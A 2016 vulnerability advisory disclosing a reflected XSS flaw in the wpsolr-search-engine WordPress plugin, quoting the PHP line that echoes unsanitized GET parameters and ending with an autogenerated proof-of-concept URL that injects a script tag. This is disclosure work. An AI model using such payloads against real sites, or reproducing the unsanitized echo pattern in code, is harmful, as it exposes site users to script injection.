Advisory #: 303
Title: Reflected XSS in wordpress plugin wpsolr-search-engine v7.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wpsolr-search-engine
Downloads: 9151
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wpsolr-search-engine
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php: 14: <form action="?page=<?php echo $_GET['page']; ?>&tab=<?php echo $_GET['tab']; ?>&subtab=<?php echo $managed_solr_server->get_id(); ?>" The variable page appears to send unsanitized data back to the users browser.
CVE-ID: 2016-1000155
File:./wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page="><script>alert(1);</script><"